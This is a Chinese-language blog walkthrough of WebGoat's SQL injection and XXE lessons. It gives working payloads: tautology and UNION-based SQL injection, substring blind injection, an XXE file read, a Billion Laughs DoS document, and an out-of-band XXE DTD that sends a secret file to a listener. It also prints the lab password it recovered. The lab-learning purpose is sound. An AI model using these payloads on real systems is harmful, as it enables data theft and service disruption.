本关主要是在说注入攻击,sql注入和xxe(其实个人觉得这里放xss更合适),而且sql的排版也有问题,不应该是从低到高么(小声bb。。)
说到注入,其实本质就一句话:
把用户输入的数据当作代码执行。
达成注入,需要满足两个关键条件:
1. 用户能够控制输入。
2. 原本程序要执行的代码,拼接了用户输入的数据,然后进行执行。
lesson1-6讲的都是基础,简单总结下。除了我在本关开头说的本质之外,最基本的就是判断注入点了,接下来我姐扫三种简单办法:
- 最古老的方法:and 1=1 页面正常,and 1=2 页面异常。
- 最简单的方法:url后面直接加单引符号’,看返回页面是否正常。
- 骚的操作方法:数字类型传参,可以尝试-1操作,看页面是否做减法。
有了一个大概了解,上测试吧,lesson7:
不知道为啥有乱码情况,但是并不影响,直接'or 1=1--+
然后呢,然后当然是过关了鸭
哇卡卡卡,lensson8
和lesson7没区别的,所以直接101 or 1=1--+
冲鸭,过关
对sql注入有了一个简单的了解之后,就需要扩展知识面了
例如本节lensson7讲了一个比较有趣的方法,order by + case
order by +case用法:
select * from users order by (case when (true) then lastname else firstname)
这小节就一个小测,也就突出了对这个用法的强调,我们看看问题是什么
根据问题介绍,以及所涉及的order by + case的数据库语法,所以我们点击一个排序进而抓包看一下
GET传参后面参数就涉及了sql语句order by,进而写payload测试
成功过关,但是得到结果,我才发现我是龙(聋)的朋友—瞎么,这本身不就给出ip了么emmmm
来到sql高级了,但是觉得也就一般,适合刚开始的了解吧,再有就是sql注分好多种,这需要我们自己拓展知识了,网上一搜一大堆,lesso1-2都是介绍,转到lesson3
看介绍是联合查询,撰写payload测试
刚开始先验证了order by查询字段数,但是没有查出来,然后忽然想到了当时挖edusrc时候碰到的order by与group by之间那些不可不说的秘密,考虑可能是聚合函数作怪,因此测试了下,果然
然后一点一点的爆,最后获得字段数
saoqi' group by PUBLIC.USER_DATA.USERID,PUBLIC.USER_DATA.FIRST_NAME, PUBLIC.USER_DATA.LAST_NAME,PUBLIC.USER_DATA.CC_NUMBER,PUBLIC.USER_DATA.CC_TYPE,PUBLIC.USER_DATA.COOKIE,PUBLIC.USER_DATA.LOGIN_COUNT --+
一共是七个字段,而已知的表是四个字段,我第一反应是偏移注入,但是想想偏移注入是不知道所想要查询的表的字段数和字段名 ,所以这个并不要那么麻烦
撰写payload:
saoqi' union select 1,2,3,4,5,6,7 from user_system_data --+
然而我忘记了还有字符类型这么一说,爆了错误
好尴尬,但是无所谓,因为题目已经给出了,就算没有给出我们还可以用null加偏移注入的方式进行
saoqi' union select user_system_data.*,null,null,null from user_system_data --+
获取密码,验证过关
因为lesson4主要是讲了一下盲注,所以lessen5题目八成也就是是盲注,但是抱着学习以及复习的目的,我们装作不知道的测试一下。
看见注册登录模块,首先想到的与sql有关的就是万能密码,万能密码字典跑一下
失败了,哎,试试万能密码,跑一下sql吧
利用burp的sqlmap模块(如果不懂怎么用问度娘哦)发现仍然不行,应该是有预编译,因此转战经常被忽略的注册模块
仔细想了下,注册的话哪里可能会用到数据库,先注册一个试一试
看见创建成功的时候,灵光一闪,检查数据库中是否存在所要注册的用户,这样的话测试下
如果直接用burp跑sqlmap会不会有点暴力,想想还是先利用burp重放包试试
嘿嘿,貌似是找到了,当为false时因为存在所以创建失败,那么根据false还是true进行判断,盲注什么的最恶心了..(我用sqlmap跑了一下没有成功,他这个数据库是HSQLDB,如果有哥哥知道为啥sqlmap不成功请告知弟弟,谢谢)
因为不想盲注,又测试了下dns注入,然后也不行,应该是写死了,不支持,所以这个靶场我忽然不是很喜欢了
最后只能老老实实的进行盲注了,利用substring函数进行盲注,正常的步骤应该是先找系统自带库里的表名,然后以此类推,但是考虑这个是在本表中查询,因此可以直接盲注password
撰写payload(题目是Tom为啥我写tom,因为Tom我猜出来的密码是错误的,就这么简单。):
tom'and substring(password,1,1)='a'--+
可以利用Intruder模块进行爆破,最后爆破出来一共23位,当然刚开始时可以利用length()函数猜长度的,哥哥们如果有更好的办法请告知弟弟
过关,盲注什么的最恶心了,还这么长
附上密码:
thisisasecretfortomonly
简单的对xxe做下介绍
XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击
举个典型例子
lesson1,2都是在做介绍,lesson3小测这个题目意思是评论然后插入xml,进而读取根目录,并不是很难
惯例抓包
构造payload:
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///">]><comment> <text>saoqi&xxe;</text></comment>
过关
lesson4和lesson3差不多,只不过json格式的,我们先更改一下头测试下
仅仅是更改头是不行的,我们利用burp的扩展包,进行xml代码转换
然后由于根元素的原因失败了,根元素应该是:
<comment></comment>
过关
lesson5讲了利用xxe进行dos攻击,经典案例就是Billion laughs
Billion laughs
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
lesson6讲的是盲注xxe就是利用公网ip让其不能回显的东西在攻击机上显示出来
攻击机上创建dtd文件
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://127.0.0.1:9090/WebWolf/landing'>
对目标进行xml节点攻击*
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
<text>test&ping;</text>
</comment>
lesson7利用的就是lesson6中所说的盲注
在WebWolf上传attack.dtd文件内容为:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\Administrator\.webgoat-8.0.0.M21\XXE\secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
%all;
burp包输入payload:
<?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
其中0.0.0.0当然也可以用localhost或者127.0.0.1,admin888是我的WebWolf的用户名
成功读取,但是不知到为啥没有过关
lesson8就是介绍了下防范xxe的措施
简单说下我知道的xxe防御吧
PHP:
libxml_diable_entity_loader(ture);
每天上午更新,未完待续。。。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 50.00 | 0 | 2020-03-28 13:01:21 | 投稿满 5 赞奖励 |
admin | 100.00 | 0 | 2020-03-27 09:09:38 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.